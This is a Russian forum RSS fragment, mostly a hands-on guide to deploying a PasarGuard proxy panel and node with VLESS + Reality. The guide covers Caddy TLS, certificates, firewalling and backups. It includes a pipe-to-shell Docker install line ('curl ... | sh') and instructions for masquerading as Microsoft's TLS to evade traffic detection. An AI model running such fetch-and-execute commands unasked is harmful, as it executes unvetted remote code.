&#x2705; &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; 
&#x41F;&#x440;&#x438;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x442;&#x44C;&#x441;&#x44F; &#x441;&#x442;&#x43E;&#x438;&#x442;, &#x435;&#x441;&#x43B;&#x438; &#x443; &#x432;&#x430;&#x441; &#x443;&#x436;&#x435; &#x43D;&#x430;&#x43A;&#x43E;&#x43F;&#x438;&#x43B;&#x438;&#x441;&#x44C; &#x43A;&#x43B;&#x44E;&#x447;&#x438; &#x43E;&#x442; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x438;&#x445; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x43E;&#x432; &#x438; &#x43D;&#x430;&#x434;&#x43E;&#x435;&#x43B;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x440;&#x443;&#x43A;&#x430;&#x43C;&#x438;; &#x435;&#x441;&#x43B;&#x438; &#x433;&#x43E;&#x43D;&#x44F;&#x435;&#x442;&#x435; &#x43B;&#x43E;&#x43A;&#x430;&#x43B;&#x44C;&#x43D;&#x44B;&#x435; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x438; &#x432; Ollama &#x438;&#x43B;&#x438; LM Studio &#x438; &#x445;&#x43E;&#x442;&#x438;&#x442;&#x435; &#x443;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x442;&#x44C; &#x438;&#x43C;&#x438; &#x440;&#x43E;&#x434;&#x43D;&#x44B;&#x43C; &#x438;&#x43D;&#x442;&#x435;&#x440;&#x444;&#x435;&#x439;&#x441;&#x43E;&#x43C; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x430;; &#x435;&#x441;&#x43B;&#x438; &#x43D;&#x443;&#x436;&#x435;&#x43D; &#x437;&#x430;&#x43F;&#x430;&#x441;&#x43D;&#x43E;&#x439; &#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442; &#x43D;&#x430; &#x441;&#x43B;&#x443;&#x447;&#x430;&#x439; &#x43E;&#x442;&#x432;&#x430;&#x43B;&#x430; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x43E;&#x433;&#x43E; &#x442;&#x430;&#x440;&#x438;&#x444;&#x430;. &#x41F;&#x440;&#x43E;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x435; &#x43C;&#x438;&#x43C;&#x43E;, &#x435;&#x441;&#x43B;&#x438; &#x43F;&#x440;&#x438;&#x448;&#x43B;&#x438; &#x437;&#x430; &#x434;&#x430;&#x440;&#x43E;&#x432;&#x44B;&#x43C; Opus &#x438;&#x43B;&#x438; &#x435;&#x441;&#x43B;&#x438; &#x432; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x438; &#x43B;&#x435;&#x436;&#x438;&#x442; &#x447;&#x443;&#x436;&#x430;&#x44F; &#x43A;&#x43E;&#x43C;&#x43C;&#x435;&#x440;&#x447;&#x435;&#x441;&#x43A;&#x430;&#x44F; &#x442;&#x430;&#x439;&#x43D;&#x430;. 




&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;


Alishahryar1/free-claude-code &#x2014; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x439; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430;
README &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430;
install.sh &#x2014; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x449;&#x438;&#x43A;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43F;&#x440;&#x43E;&#x447;&#x438;&#x442;&#x430;&#x442;&#x44C; &#x434;&#x43E; &#x437;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;
&#x414;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44F; Claude Code


&#x426;&#x438;&#x444;&#x440;&#x44B; &#x43F;&#x43E; &#x437;&#x432;&#x451;&#x437;&#x434;&#x430;&#x43C;, &#x444;&#x43E;&#x440;&#x43A;&#x430;&#x43C;, issue &#x438; &#x43A;&#x43E;&#x43C;&#x43C;&#x438;&#x442;&#x430;&#x43C; &#x2014; &#x441;&#x43E; &#x441;&#x442;&#x440;&#x430;&#x43D;&#x438;&#x446;&#x44B; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x43D;&#x430; 25 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430; 2026 &#x433;&#x43E;&#x434;&#x430;. 

&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; 
&#x415;&#x441;&#x43B;&#x438; &#x43A;&#x442;&#x43E;-&#x442;&#x43E; &#x443;&#x436;&#x435; &#x449;&#x443;&#x43F;&#x430;&#x43B; FCC &#x438;&#x43B;&#x438; &#x430;&#x43D;&#x430;&#x43B;&#x43E;&#x433;&#x438;&#x447;&#x43D;&#x44B;&#x435; &#x43F;&#x440;&#x43E;&#x43A;&#x441;&#x438; &#x2014; &#x43A;&#x430;&#x43A;&#x43E;&#x435; &#x441;&#x43E;&#x447;&#x435;&#x442;&#x430;&#x43D;&#x438;&#x435; &#x431;&#x435;&#x441;&#x43F;&#x43B;&#x430;&#x442;&#x43D;&#x44B;&#x445; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x449;&#x438;&#x43A;&#x43E;&#x432; &#x432;&#x44B;&#x434;&#x435;&#x440;&#x436;&#x438;&#x432;&#x430;&#x435;&#x442; &#x43D;&#x430;&#x441;&#x442;&#x43E;&#x44F;&#x449;&#x443;&#x44E; &#x43D;&#x430;&#x433;&#x440;&#x443;&#x437;&#x43A;&#x443;, &#x430; &#x43D;&#x435; &#x43E;&#x442;&#x432;&#x430;&#x43B;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x442;&#x440;&#x435;&#x442;&#x44C;&#x435;&#x43C; &#x437;&#x430;&#x43F;&#x440;&#x43E;&#x441;&#x435;? &#x418; &#x435;&#x449;&#x451; &#x43B;&#x44E;&#x431;&#x43E;&#x43F;&#x44B;&#x442;&#x43D;&#x43E;: &#x440;&#x430;&#x431;&#x43E;&#x447;&#x438;&#x439; &#x43A;&#x43E;&#x434; &#x447;&#x435;&#x440;&#x435;&#x437; &#x442;&#x430;&#x43A;&#x438;&#x435; &#x441;&#x445;&#x435;&#x43C;&#x44B; &#x43F;&#x440;&#x43E;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x435;&#x442;&#x435; &#x438;&#x43B;&#x438; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43B;&#x438;&#x447;&#x43D;&#x44B;&#x435; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x44B;?</description><pubDate>Tue, 25 Aug 2026 22:15:21 +0000</pubDate></item><item><title>&#x420;&#x430;&#x437;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x443;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43A;&#x430; PasarGuard: &#x43F;&#x430;&#x43D;&#x435;&#x43B;&#x44C; + &#x43D;&#x43E;&#x434;&#x430;, VLESS Reality &#x438; &#x432;&#x43E;&#x441;&#x435;&#x43C;&#x44C; &#x441;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x445; &#x433;&#x440;&#x430;&#x431;&#x43B;&#x435;&#x439;</title><link><![CDATA[https://openode.xyz/topic/2059-%D1%80%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F-%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BA%D0%B0-pasarguard-%D0%BF%D0%B0%D0%BD%D0%B5%D0%BB%D1%8C-%D0%BD%D0%BE%D0%B4%D0%B0-vless-reality-%D0%B8-%D0%B2%D0%BE%D1%81%D0%B5%D0%BC%D1%8C-%D1%81%D0%BA%D1%80%D1%8B%D1%82%D1%8B%D1%85-%D0%B3%D1%80%D0%B0%D0%B1%D0%BB%D0%B5%D0%B9/?do=findComment&comment=9229]]></link><description><![CDATA[Классический сценарий для PasarGuard — форка Marzban — это не «одна коробка со всем сразу», а связка из двух машин: отдельная панель и отдельная нода, отдающая трафик. Именно так и стоит запускать прод: панель хранит пользователей и раздаёт подписки, а нода крутит Xray-ядро и принимает клиентов. Ниже — полный разбор такой раздельной установки, где вместо игрушечного Shadowsocks сразу поднимается VLESS + Reality с маскировкой под чужой сайт, а панель закрывается боевым TLS от Let's Encrypt. 
Отдельный акцент — на восьми местах, где инсталляция ломается молча: интерфейс при этом не говорит ничего внятного, и почти любую поломку приходится ловить в docker logs. Всё, что здесь описано, снято с реального стенда: панель v5.2.1, нода v0.5.3, ядро Xray 26.3.27. Настраивать будем преимущественно через веб-панель — со скриншотами конкретных экранов; в терминал уходим только за тем, что иначе не сделать. 
Договоримся об обозначениях. Домен в примерах — pg-test.gig.ovh. На скриншотах IP заменены документационными (203.0.113.10 — нода, 198.51.100.10 — панель), приватный ключ Reality, api_key ноды и UUID клиента — плейсхолдеры. Везде подставляйте своё. 
Как всё устроено
Панель и нода живут на разных серверах намеренно. Панель — это «мозг»: пользователи, ядра, хосты, подписки, статистика. Нода — «мышцы»: на ней работает Xray и держит клиентские соединения. Связывает их управляющий gRPC-канал под самоподписанным TLS. 
Сервер A (панель): PasarGuard panel + TimescaleDB + Caddy. Наружу открыты только 80 и 443.Сервер B (нода): PasarGuard node + Xray. Слушает управляющий 62050 от панели и клиентов VLESS Reality на 443.
Сколько ресурсов нужно
Обе машины стенда — почти одинаковые VPS. Цифры ниже сняты вживую; это рабочий минимум под одну ноду и несколько пользователей, без свопа. 
ПараметрСервер A (панель)Сервер B (нода)
ОСUbuntu 26.04 LTSUbuntu 26.04 LTS
Ядро7.0.0-14-generic7.0.0-14-generic
Архитектураx86_64 (KVM)x86_64 (KVM)
vCPU22
ОЗУ3.3 ГБ3.3 ГБ
Диск99 ГБ (занято ~5 ГБ)79 ГБ (занято ~4 ГБ)

Больше всех на панели ест не сама панель, а TimescaleDB: образ ~2 ГБ и несколько сотен мегабайт в покое. С SQLite панели хватило бы и 1 ГБ, но тогда пропадает статистика по нодам (об этом ниже). Под Timescale держите в уме 2 ГБ. 
Порты
ПортГдеНаружу?Зачем
22A, Bда (лучше сузить)SSH
80AдаHTTP → редирект, ACME
443AдаHTTPS: панель и подписки
8000Aнет (localhost)uvicorn за Caddy
5432Aнет (127.0.0.1)TimescaleDB
62050Bтолько с IP панелиgRPC панель↔нода
443Bдаинбаунд VLESS Reality

443 фигурирует дважды, но на разных хостах: на A его держит Caddy, на B — Xray. Пересечения нет. 
База: почему Timescale, а не SQLite
SQLite в PasarGuard есть, и для одной локальной ноды его достаточно. Но выносите ноды на отдельные серверы и захотите графики по каждой — упрётесь в ограничение прямо из .env.example: 
## Usage recording. Node stats recording is only available for PostgreSQL/TimescaleDB.
# ENABLE_RECORDING_NODES_STATS = False
Запись статистики по нодам живёт только на PostgreSQL/TimescaleDB; на SQLite флаг мёртвый, и раздел статистики по узлам просто исчезает. Поэтому база — TimescaleDB (это PostgreSQL с расширением под временные ряды, что удобно для поминутного трафика). 
Важно. Базу выбирают до первого старта — переезд SQLite→PostgreSQL на живой панели болезненный. Есть шанс на вторую ноду и графики — сразу Timescale. 
Готовим обе машины
Docker ставим официальным скриптом — он сам подцепит репозиторий и compose-плагин. Одинаково для A и B: 
# от root
curl -fsSL https://get.docker.com | sh
docker --version          # Docker version 29.7.2
docker compose version    # Docker Compose version v5.5.0
Проверьте, что доступен именно docker compose (v2-плагин через пробел) — на нём построен весь гайд. 
Сервер A: база и панель
Заводим каталог и один раз генерируем секреты — пароль БД и api_key (общий секрет панели и ноды): 
mkdir -p /opt/pasarguard &amp;&amp; cd /opt/pasarguard
DB_PASS=$(openssl rand -hex 24)
API_KEY=$(cat /proc/sys/kernel/random/uuid)   # обязан быть валидным UUID
printf 'DB_PASS=%s\nAPI_KEY=%s\n' "$DB_PASS" "$API_KEY" &gt; .secrets &amp;&amp; chmod 600 .secrets
Грабля №1: формат .env и падение --env-file
Оригинальный .env.example идёт «с пробелами вокруг равно»: UVICORN_HOST = "0.0.0.0". Python-овский dotenv это переваривает, а докеровский --env-file — нет: 
docker: invalid env file (/opt/pasarguard/.env): variable 'UVICORN_HOST ' contains whitespaces
Пробел утёк в имя переменной ('UVICORN_HOST '). Лечится тем, что .env пишется без пробелов, строго KEY=value. Полный файл с комментариями: 
# ==== PasarGuard panel .env (чистый KEY=value, без пробелов) ====

# Слушать только localhost: наружу панель выставляет Caddy.
UVICORN_HOST=127.0.0.1
UVICORN_PORT=8000

# Подключение к базе. Драйвер asyncpg идёт в образе панели.
SQLALCHEMY_DATABASE_URL=postgresql+asyncpg://pasarguard:DB_PASS@127.0.0.1:5432/pasarguard

# Статистика по нодам — только на PostgreSQL/TimescaleDB.
ENABLE_RECORDING_NODES_STATS=True
DISABLE_RECORDING_NODE_USAGE=False

SUBSCRIPTION_PATH=sub
DASHBOARD_PATH=/dashboard/
LOG_LEVEL=INFO

# ==== за reverse-proxy (добавим после Caddy) ====
# UVICORN_PROXY_HEADERS=True
# UVICORN_FORWARDED_ALLOW_IPS=127.0.0.1
# VITE_BASE_API=https://pg-test.gig.ovh/
# ALLOWED_ORIGINS=https://pg-test.gig.ovh
Грабля №2: образы из Docker Hub и 429
В штатном compose образ — pasarguard/panel:latest, то есть Hub, который на пуллах любит отдавать 429 Too Many Requests. Берём зеркало ghcr: ghcr.io/pasarguard/panel:latest и ghcr.io/pasarguard/node:latest. Compose сервера A: 
services:
  timescaledb:
    image: timescale/timescaledb:latest-pg17
    container_name: pasarguard-db
    restart: always
    environment:
      POSTGRES_DB: pasarguard
      POSTGRES_USER: pasarguard
      POSTGRES_PASSWORD: DB_PASS
    volumes:
      - /var/lib/pasarguard/pgdata:/var/lib/postgresql/data
    ports:
      - "127.0.0.1:5432:5432"
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U pasarguard -d pasarguard"]
      interval: 5s
      timeout: 5s
      retries: 20

  pasarguard:
    image: ghcr.io/pasarguard/panel:latest
    container_name: pasarguard
    restart: always
    env_file: .env
    network_mode: host
    volumes:
      - /var/lib/pasarguard:/var/lib/pasarguard
    depends_on:
      timescaledb:
        condition: service_healthy
Поднимаем по очереди — сначала БД до healthy, затем панель: 
docker compose up -d timescaledb
until [ "$(docker inspect -f '{{.State.Health.Status}}' pasarguard-db)" = healthy ]; do sleep 3; done
docker compose up -d pasarguard
docker logs -f pasarguard
Грабля №3: без TLS панель слушает только localhost
После миграций в логе появится предупреждение — не пугайтесь, оно ожидаемо: 
IMPORTANT!
You're running PasarGuard without specifying UVICORN_SSL_CERTFILE and UVICORN_SSL_KEYFILE.
The application will only be accessible through localhost...
INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)
Это и есть задумка: панель на 127.0.0.1:8000, а TLS и внешний доступ обеспечит Caddy. Поэтому в .env и стоит UVICORN_HOST=127.0.0.1. Ниже будет и Attention: You have no node — ноду добавим позже. 
Открываем панель наружу: Caddy и TLS через Cloudflare DNS-01 (грабля №4)
Панель доступна только на localhost — ставим перед ней Caddy с сертификатом Let's Encrypt по DNS-01 (открытый 80 для ACME не нужен). И тут грабля: обычный caddy:2-alpine не умеет Cloudflare. Нужен билд с DNS-модулем — ghcr.io/caddybuilds/caddy-cloudflare:latest: 
docker run --rm ghcr.io/caddybuilds/caddy-cloudflare:latest caddy list-modules | grep dns.providers.cloudflare
# dns.providers.cloudflare
В зоне Cloudflare заводим A-запись pg-test.gig.ovh → PANEL_IP в режиме DNS only (серое облако). Стартуем со staging Let's Encrypt — без жёстких лимитов, чтобы проверить DNS-01 не сжигая квоту: 
{
    acme_ca https://acme-staging-v02.api.letsencrypt.org/directory
    email admin@gig.ovh
}

pg-test.gig.ovh {
    reverse_proxy 127.0.0.1:8000
    tls {
        dns cloudflare {env.CF_API_TOKEN}
        resolvers 1.1.1.1
    }
}
services:
  caddy:
    image: ghcr.io/caddybuilds/caddy-cloudflare:latest
    container_name: caddy
    restart: always
    network_mode: host
    cap_add:
      - NET_ADMIN
    environment:
      CF_API_TOKEN: "CLOUDFLARE_TOKEN"
    volumes:
      - /opt/caddy/Caddyfile:/etc/caddy/Caddyfile:ro
      - /var/lib/caddy/data:/data
      - /var/lib/caddy/config:/config
docker compose up -d
docker logs -f caddy
# http.acme_client  trying to solve challenge  challenge_type=dns-01  ca=...acme-staging-v02...
# http.acme_client  authorization finalized  authz_status=valid
# tls.obtain  certificate obtained successfully
Во время челленджа в зоне на секунды появляется TXT _acme-challenge.pg-test.gig.ovh и затем убирается — значит DNS-01 работает. Переходим на боевой сертификат: убираем строку acme_ca, чистим кеш и перезапускаем, чтобы выпустился production: 
# Caddyfile без строки acme_ca
docker compose stop caddy
rm -rf /var/lib/caddy/data/caddy/certificates /var/lib/caddy/data/caddy/acme
docker compose up -d caddy
echo | openssl s_client -connect pg-test.gig.ovh:443 -servername pg-test.gig.ovh 2&gt;/dev/null \
  | openssl x509 -noout -issuer -subject -dates
# issuer=C=US, O=Let's Encrypt, CN=YE2
# subject=CN=pg-test.gig.ovh
# notBefore=... notAfter=... (90 дней)
И возвращаем в .env панели блок для работы за прокси, затем перезапускаем панель: 
UVICORN_PROXY_HEADERS=True
UVICORN_FORWARDED_ALLOW_IPS=127.0.0.1
VITE_BASE_API=https://pg-test.gig.ovh/
ALLOWED_ORIGINS=https://pg-test.gig.ovh
cd /opt/pasarguard &amp;&amp; docker compose up -d pasarguard
curl -s -o /dev/null -w "%{http_code}\n" https://pg-test.gig.ovh/dashboard/   # 200

Грабля №5: владелец и мёртвый SUDO_USERNAME
Попытка войти статическим админом из .env в 5.2.1 упирается в отлуп: 
env admin not allowed in production
В проде env-админ запрещён специально. Владелец создаётся одноразовым ключом через CLI, и тут вторая ловушка: команды pasarguard в PATH нет, cli_wrapper.sh не исполняемый. Работает только прямой вызов Python внутри контейнера (рабочий каталог /code): 
docker exec pasarguard python /code/pasarguard-cli.py generate-temp-key
# Temp key: 3e2a706a-....
# This key is valid for 5 minutes and can only be used once.
Ключ действует 5 минут и однократно. Панель уже открывается по домену — идём на https://pg-test.gig.ovh/dashboard/, на логине жмём Owner access, режим Create и вводим ключ, логин и пароль владельца. 
 
После входа попадаем на дашборд — дальше почти всё мышкой. 
 
Карта интерфейса: за что отвечает каждая вкладка
Меню слева — это весь PasarGuard целиком. Коротко по каждому пункту. 

Dashboard — сводка: онлайн, активные, суммарный трафик, состояние нод. Только мониторинг.
Users — сердце панели: создание клиентов, их лимиты, сроки, статусы, привязка к группам, а по иконкам в строке — ссылка-подписка и QR. Тут проходит основная ежедневная работа.
Statistics — графики трафика по пользователям и по нодам; работают только на PostgreSQL/TimescaleDB.
Hosts — «витрина» подключений: инбаунд превращается в клиентскую ссылку только через хост (адрес, порт, SNI, отпечаток). Один инбаунд может иметь несколько хостов.
Groups — набор инбаундов, который выдаётся пользователю; удобно делать «тарифы».
Admins и Admin Roles — дополнительные администраторы и ограничение их прав (например, реселлеры).
API Keys — ключи для автоматизации и биллинга.
Nodes — узлы и ядро. Вкладки: Nodes (список и статусы), Core Configs (конфиги Xray: инбаунды, исходящие, маршрутизация), WireGuard (подсети/пиры WG) и Logs (живые логи ядра с ноды).
Templates — шаблоны страниц подписки и настроек пользователей по умолчанию.
Bulk — массовые операции над пользователями.
Settings — общие настройки панели: подписки, уведомления, оформление.

 
Дальше мы и пройдём по этой карте: подключим ноду (Nodes), настроим на ней протокол (Core Configs), выставим наружу (Hosts), соберём в тариф (Groups) и выдадим клиенту (Users). 
Сервер B: нода и её сертификат
Грабля №6: без сертификата нода не стартует, а без SAN — не подключается
Канал панель↔нода шифруется TLS, и сертификат обязан существовать до первого запуска, иначе контейнер циклится: 
open /var/lib/pg-node/certs/ssl_cert.pem: no such file or directory
Сделали сертификат «обычной» командой без SAN — панель отвергает ноду на подключении: 
[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed:
IP address mismatch, certificate is not valid for 'NODE_IP'
Панель сверяет именно SAN с IP, а не CN. Правильная генерация добавляет subjectAltName=IP:...: 
mkdir -p /var/lib/pg-node/certs &amp;&amp; cd /var/lib/pg-node/certs
openssl req -x509 -newkey rsa:2048 -keyout ssl_key.pem -out ssl_cert.pem -days 3650 -nodes \
  -subj "/CN=NODE_IP" -addext "subjectAltName=IP:NODE_IP"

openssl x509 -in ssl_cert.pem -noout -text | grep -A1 "Subject Alternative Name"
# X509v3 Subject Alternative Name:
#     IP Address:NODE_IP
Compose ноды (образ из ghcr; API_KEY — тот самый UUID с панели; нужен NET_ADMIN и сеть хоста): 
services:
  node:
    image: ghcr.io/pasarguard/node:latest
    container_name: pg-node
    restart: always
    network_mode: host
    cap_add:
      - NET_ADMIN
    environment:
      SERVICE_PORT: 62050
      SERVICE_PROTOCOL: "grpc"
      SSL_CERT_FILE: "/var/lib/pg-node/certs/ssl_cert.pem"
      SSL_KEY_FILE: "/var/lib/pg-node/certs/ssl_key.pem"
      API_KEY: "API_KEY"
      GENERATED_CONFIG_PATH: "/var/lib/pg-node/generated"
    volumes:
      - /var/lib/pg-node:/var/lib/pg-node
mkdir -p /opt/pg-node &amp;&amp; cd /opt/pg-node   # сюда кладём docker-compose.yml
docker compose up -d
docker logs pg-node
# Starting Node: v0.5.3
# gRPC Server listening on 0.0.0.0:62050
Строку Failed to load env file ... open .env игнорируем — переменные пришли через environment:. 
Файрвол ноды
Управляющий 62050 открываем только для IP панели, SSH разрешаем до включения ufw: 
ufw allow 22/tcp
ufw allow from PANEL_IP to any port 62050 proto tcp
ufw deny 62050/tcp
ufw --force enable
Безопасность. С посторонней машины nc -zv NODE_IP 62050 обязан таймаутиться, с панели — отвечать succeeded. Управляющий канал даёт полный доступ к ядру ноды, в открытый интернет его выпускать нельзя. 
Подключаем ноду в панели (Nodes)
В Nodes → Nodes жмём Create Node. Форма короткая, но одно поле коварно — и при ошибке причина видна только в docker logs pasarguard, тогда как в UI просто краснеет точка. 
 
ПолеЗначениеКомментарий
Node Nametest-node-1любое имя
Node AddressNODE_IPпубличный IP сервера B
Node Port62050gRPC-порт
Core ConfigurationDefault Core Configкакое ядро применить
API KeyAPI_KEYUUID из переменных ноды
Certificatessl_cert.pem с нодыцеликом, с BEGIN/END

Грабля №7: не тот сертификат в карточке
В поле Certificate (в API — server_ca) кладут сертификат с ноды целиком. Подсунете чужой (скажем, свежесгенерированный на панели) — отвал, и причина снова только в логе: 
certificate verify failed: self-signed certificate
Сертификат берём так: cat /var/lib/pg-node/certs/ssl_cert.pem. Успех в логе панели: 
Node-operation - New node "test-node-1" with id "1" added by admin "admin"
Node-operation - Connecting to "test-node-1" node
Node-operation - Connected to "test-node-1" node v0.5.3, core run on v26.3.27
А в списке нод точка зеленеет, появляются версии ноды (0.5.3) и ядра (26.3.27): 
 
Красный статус? Не гадайте по UI — открывайте docker logs pasarguard. 
VLESS + Reality: узел, который выглядит как чужой сайт
Дефолтный Shadowsocks хорош лишь для проверки «а оно вообще заводится». Боевой протокол на Xray сегодня — VLESS + Reality. Суть: нода не поднимает собственный TLS (который сам по себе выдаёт прокси), а на рукопожатии подделывается под чужой сайт, заимствуя TLS у реального внешнего хоста (например, www.microsoft.com). Снаружи 443 на ноде неотличим от настоящего Microsoft: тот же сертификат, та же цепочка. Своего домена и сертификата для клиента не требуется. 
Шаг 1. Ключи Reality
Reality опирается на пару x25519 и короткий shortId. Ключи выдаёт само ядро прямо в контейнере ноды: 
docker exec pg-node xray x25519
# PrivateKey: &lt;PRIVATE_KEY&gt;
# Password (PublicKey): &lt;PUBLIC_KEY&gt;
# Hash32: ...

openssl rand -hex 8    # shortId, например 86d173896823210b
PrivateKey — в конфиг инбаунда на ноде, PublicKey (pbk) панель сама подставит в клиентскую ссылку. Сохраните обе половины. 
Шаг 2. Инбаунд в Core Config
В Nodes → Core Configs открываем Default Core Config, на вкладке Inbounds жмём Add inbound: тип vless, порт 443, security reality. Проще всего вставить готовый JSON (через {}-редактор), заменив плейсхолдеры своими ключами: 
{
  "tag": "VLESS Reality",
  "listen": "0.0.0.0",
  "port": 443,
  "protocol": "vless",
  "settings": { "clients": [], "decryption": "none" },
  "streamSettings": {
    "network": "tcp",
    "security": "reality",
    "realitySettings": {
      "show": false,
      "dest": "www.microsoft.com:443",
      "xver": 0,
      "serverNames": ["www.microsoft.com"],
      "privateKey": "&lt;PRIVATE_KEY&gt;",
      "shortIds": ["86d173896823210b"]
    }
  },
  "sniffing": { "enabled": true, "destOverride": ["http", "tls", "quic"] }
}
Оставляем галку Restart Nodes и сохраняем — панель раскатает конфиг на ноду и перезапустит ядро. В списке появляется VLESS Reality / vless / 443: 
 
Про «жертву». dest/serverNames должны указывать на реально живой чужой сайт на 443 с TLS 1.3, не связанный с вами и не заблокированный у ваших клиентов (крупные CDN, www.microsoft.com, www.cloudflare.com). И откройте порт инбаунда: ufw allow 443/tcp. 
Шаг 3. Хост (Hosts)
Инбаунд есть, но клиент о нём не знает — нужен хост. В Hosts → Add Host: инбаунд VLESS Reality, адрес — IP ноды, порт 443, в Security Settings — SNI www.microsoft.com и fingerprint chrome. 
 
Важно. Поле Security в хосте принимает лишь Inbound Default, none или tls — значения reality там нет. Для Reality берите Inbound Default: хост унаследует reality из инбаунда, а pbk и sid панель подставит сама. Ручной security: reality даст 422. 
Шаг 4. Группа (Groups)
Чтобы инбаунд дошёл до пользователя, он должен быть в группе. В Groups создаём test-group и включаем в неё VLESS Reality. 
 
Клиент и его подключение (Users)
Users → Create User: имя, при желании лимит и срок, и обязательно — группа test-group. 
 
Пользователь появляется со статусом Active; в строке — иконки копирования подписки, ссылки и QR. 
 
Клик по QR открывает страницу подписки: QR-код и список конфигураций (VLESS-Reality-node1 с адресом ноды). Именно это вы отдаёте клиенту — он сканирует QR или вставляет ссылку в v2rayNG / v2rayN / Hiddify. 
 
Подписка отдаёт готовый vless:// со всеми параметрами Reality: 
vless://&lt;UUID&gt;@NODE_IP:443?encryption=none&amp;security=reality&amp;type=tcp&amp;headerType=none
        &amp;sni=www.microsoft.com&amp;fp=chrome&amp;pbk=&lt;PUBLIC_KEY&gt;&amp;sid=86d173896823210b#VLESS-Reality-node1
Проверка, что маскировка живая
Ссылки мало — убедимся, что Reality реально притворяется. TLS-проба на порт ноды с именем «жертвы» должна вернуть настоящий сертификат Microsoft: для наблюдателя 443 на вашей ноде выглядит как сервер Microsoft. 
echo | openssl s_client -connect NODE_IP:443 -servername www.microsoft.com 2&gt;/dev/null \
  | openssl x509 -noout -issuer -subject
# issuer=C=US, O=Microsoft Corporation, CN=Microsoft TLS G2 RSA CA OCSP 04
# subject=C=US, ST=WA, L=Redmond, O=Microsoft Corporation, CN=www.microsoft.com
Цепочка Microsoft — значит Reality поднят и корректно одалживает чужой TLS. Импортируйте vless:// в клиент и проверьте реальный выход. 
Устойчивость к перезапуску
Проверим, что нода сама возвращается после рестарта всего стека: 
cd /opt/pg-node &amp;&amp; docker compose restart
cd /opt/pasarguard &amp;&amp; docker compose restart
cd /opt/caddy &amp;&amp; docker compose restart
Через полминуты-минуту статус снова connected, а в логе панели — свежая пара Connecting to ... / Connected to. Руками ничего делать не нужно. 
Бэкап и обновление
Состояние панели — база и /var/lib/pasarguard: 
docker exec pasarguard-db pg_dump -U pasarguard pasarguard | gzip &gt; pg_$(date +%F).sql.gz
tar czf pasarguard_state_$(date +%F).tar.gz /opt/pasarguard/.env /opt/pasarguard/docker-compose.yml /var/lib/pasarguard
На ноде бэкапить нечего, кроме ssl_cert.pem/ssl_key.pem. Помните: сертификат ноды лежит в двух местах — файл и копия в поле Certificate карточки; при замене (например, новый IP → новый SAN) правьте оба, иначе будет self-signed certificate. 
Обновление — это перетягивание образов. Перед панелью снимите дамп: alembic-миграции накатываются автоматически и назад не откатываются. 
cd /opt/pasarguard &amp;&amp; docker compose pull pasarguard &amp;&amp; docker compose up -d pasarguard
cd /opt/pg-node &amp;&amp; docker compose pull node &amp;&amp; docker compose up -d
Грабля №8 (и совет напоследок). Тег latest удобен, но лишает контроля над мажорными обновлениями с ломающими изменениями — на проде фиксируйте конкретный тег (ghcr.io/pasarguard/panel:v5.2.1). А базовый образ Caddy без Cloudflare-модуля — восьмая грабля: не забудьте именно сборку caddy-cloudflare. И держите открытым docker logs — в PasarGuard почти всё диагностируется там, а не в интерфейсе. 
Источники

PasarGuard Panel: github.com/PasarGuard/panel
PasarGuard Node: github.com/PasarGuard/node
Документация PasarGuard: docs.pasarguard.org
Xray-core (VLESS, Reality): github.com/XTLS/Xray-core
Caddy — DNS-модуль Cloudflare: caddyserver.com/docs
Образ Caddy с Cloudflare: github.com/caddybuilds/caddy-cloudflare
Cloudflare API (DNS): developers.cloudflare.com/api

